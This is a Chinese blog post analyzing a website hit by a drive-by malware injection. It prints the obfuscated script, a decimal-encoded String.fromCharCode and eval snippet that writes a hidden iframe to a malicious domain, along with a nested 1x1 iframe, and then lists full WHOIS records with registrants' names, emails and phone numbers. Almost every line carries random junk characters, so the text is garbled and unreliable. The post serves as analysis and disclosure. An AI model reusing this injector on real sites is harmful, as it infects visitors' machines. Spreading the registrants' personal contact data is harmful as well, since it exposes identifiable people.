首发在我的博客里面，
8Zwq:lV Q $|sRj!F http://www.areway.cn/?p=175 $ V}s3 +tl THK lE%0ifu 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
%*:-4K aS62S9nwX <script>t=’60,105,102,114,97,109,101,
N}zQ)]xz+r 32,115,114,99,61,104,116,116,112,58,47,47,
<.RgMPi 102,114,101,101,46,117,45,117,117,117,46,99,
,AACE7%l 110,47,101,114,114,111,114,46,104,116,109,
Z7OWpujCvN 32,119,105,100,116,104,61,49,48,48,32,104,
|W{z,e01x 101,105,103,104,116,61,48,62,60,47,105,102,
.M l}cE$L 114,97,109,101,62′;
HR)joD*q;[ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
epz2d~; { \r{$<s <script>t=’60,105,102,114,97,109,101,32,115,
}1 Q]C"hY 114,99,61,104,116,116,112,58,47,47,102,114,
fWF\ V[ 101,101,46,117,45,117,117,117,46,99,110,47,
4 ,T S1 H 101,114,114,111,114,46,104,116,109,32,119,
D4;V8(w=# 105,100,116,104,61,49,48,48,32,104,101,105,
X[BKF8, 103,104,116,61,48,62,60,47,105,102,114,97,
m9xO& @#vx 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Bd)Qz(>rw document.write(t);</script>
\q%li) %6dFACv <html xmlns=”
/]iv9e{uh( http://www.w3.org/1999/xhtml =f=MtH?0y “>
tAc[r)xFw <head>
H4Pj 3' <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
R:Z{,R+
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
MS><7lk- <title>首页 - 爱生活家庭网
o= N= W vs HY; [ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
gmy_ZVU' 转换字符串后的大概内容是（谁点击后果自付）：
>\3=h8zw <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
p\1[cz ) B fg+Q7'*Vq 查询玉米u-uuu.cn的详细信息：
h #'(UZ Domain Name: u-uuu.cn
fMI4'.Od ROID: 20070901s10001s64972306-cn
:!'aP\uE Domain Status: ok
Tld %NE Registrant Organization: 王雷
IHMZ E42 Registrant Name: 王雷
jQC6N#L Administrative Email:
czlovexs@126.com IWsB$T Sponsoring Registrar: 北京万网志成科技有限公司
&*/8Ojv)9 Name Server:ns.yovole.com
xG\&QE Name Server:ns1.yovole.com
??ah Registration Date: 2007-09-01 17:54
*5.s@L( VU Expiration Date: 2008-09-01 17:54
Quc9lL 最后PING了一下地址 都没有什么….
={YW*1Xw n3jA[p:
上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
nW!rM($q <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
# ]&=]K1V <script language=”javascript” src=”
s>76?Q:i http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 03iO4yO u >
r,!7TuBl 这个玉米应该有可能是木马作者的：
j'#W) dp( foafau.info的详细信息：
KYu3dC'/,& Access to INFO WHOIS information is provided to assist persons in
)CYSU(YTD determining the contents of a domain name registration record in the
6rF[eb Afilias registry database. The data in this record is provided by
srw5&s(3X Afilias Limited for informational purposes only, and Afilias does not
}< 9*eAn` guarantee its accuracy. This service is intended only for query-based
.~4%TsBa Y access. You agree that you will use this data only for lawful purposes
9 k)?- and that, under no circumstances will you use this data to: (a) allow,
M)!8 `] enable, or otherwise support the transmission by e-mail, telephone, or
m .le' & facsimile of mass unsolicited, commercial advertising or solicitations
.3 m^yo
c/ to entities other than the data recipient’s own existing customers; or
YFy5>* W (b) enable high volume, automated, electronic processes that send
''s]6Jjw queries or data to the systems of Registry Operator, a Registrar, or
b 6'%nR*f Afilias except as reasonably necessary to register domain names or
`7LN?-
T modify existing registrations. All rights reserved. Afilias reserves
wk<QYLEk the right to modify these terms at any time. By submitting this query,
i$?i1z*c} you agree to abide by this policy.
kQRN Vdiz Domain ID:D22418703-LRMS
/<\>j+SC Domain Name:FOAFAU.INFO
6,ylk f3 Created On:20-Nov-2007 16:05:42 UTC
s>9 w+|6Ji Last Updated On:20-Nov-2007 16:05:44 UTC
ah U\(= Expiration Date:20-Nov-2008 16:05:42 UTC
@=E@
*@g Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
H
:}|UW Status:CLIENT DELETE PROHIBITED
;sT7c1X^! Status:CLIENT RENEW PROHIBITED
cP`o?: Status:CLIENT TRANSFER PROHIBITED
DO'$J9;* Status:CLIENT UPDATE PROHIBITED
o;7!$v>uK Status:TRANSFER PROHIBITED
L!| c: 8 Registrant ID:GODA-040110615
5lu620o Registrant Name:liu hong
vClD)Ar Registrant Organization:
CD:@OI Registrant Street1:beijing
_8)9I?jH Registrant Street2:
]6v6&YV Registrant Street3:
t
\kI( G Registrant City:beijing
(x2I*<7 P Registrant State/Province:
\(R(S!xr_
Registrant Postal Code:100000
jFZJ #'CNS Registrant Country:CN
%u-l6<w# R Registrant Phone:+86.860108888777
?_3K]i1IS Registrant Phone Ext.:
CL5u{ i5 Registrant FAX:
~M6Q8Y9 Registrant FAX Ext.:
we9R4 *j Registrant Email:bbbshiji@163.com
{0WLY@7 2? Admin ID:GODA-240110615
a.L ?J Admin Name:liu hong
zjs@7LN Admin Organization:
S\ JV96 Admin Street1:beijing
J GnL[9P_ Admin Street2:
pP;GDW4 Admin Street3:
{ aqce g Admin City:beijing
N9 3
ZI|T Admin State/Province:
-)(HG)3 Admin Postal Code:100000
i|0H {q Admin Country:CN
n qg=I Admin Phone:+86.860108888777
y+\nj3v6 Admin Phone Ext.:
ZMQSy7 Admin FAX:
BaIH7JLZ8 Admin FAX Ext.:
:PuJF`k Admin Email:bbbshiji@163.com
'P k (
1: Billing ID:GODA-340110615
/!rH DcR Billing Name:liu hong
=ltT6of@o Billing Organization:
a938l^@;s8 Billing Street1:beijing
b/5 Billing Street2:
Zmw'.hL Billing Street3:
/\"=egB9 Billing City:beijing
(?Fz{ Billing State/Province:
by,"Orpwq; Billing Postal Code:100000
.e%PK[o Billing Country:CN
Z6 \OkD Billing Phone:+86.860108888777
Jf{6'Ub Billing Phone Ext.:
U@ x5cw: Billing FAX:
@ 6w\q?.s Billing FAX Ext.:
P#-Ye<V~J( Billing Email:bbbshiji@163.com
Ufd{.o[{- Tech ID:GODA-140110615
k;/U6,LQ* Tech Name:liu hong
NitWIj[U; Tech Organization:
IF YG l Tech Street1:beijing
[ GJ_]w^}j Tech Street2:
422d4Zu Tech Street3:
A
q;]al Tech City:beijing
*o qQ=#\ Tech State/Province:
|fkz=*rn Tech Postal Code:100000
Z;`ts/?SY] Tech Country:CN
m?VA 1 Tech Phone:+86.860108888777
q '9u8b Tech Phone Ext.:
GZ(
W6 4 Tech FAX:
AAUFX/}8P Tech FAX Ext.:
U<QO@5 Tech Email:bbbshiji@163.com
9;KQ3.Fa}q Name Server:NS27.DOMAINCONTROL.COM
~fbFA?g3 Name Server:NS28.DOMAINCONTROL.COM
{Hg. ctam Name Server:
|Y?1rLC Name Server:
Ze_4MwC W Name Server:
9} L cJ Name Server:
".Z |zt6C Name Server:
},zP,y:cH Name Server:
da <B6! Name Server:
_{0'3tI7 Name Server:
|#G.2hMFr Name Server:
5'>DvCp%M Name Server:
Hz39v44 Name Server:
|Xz-rgkQ If[4]-dq 接着下载每个文件里面的代码：
;cKN5#7 一步一步看..
M,nX@8 _h 
}n /6.% 
%<c2jvn+k 
*9Eep~ 6 
W
!TnS/O_1 
&/o4R:i 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
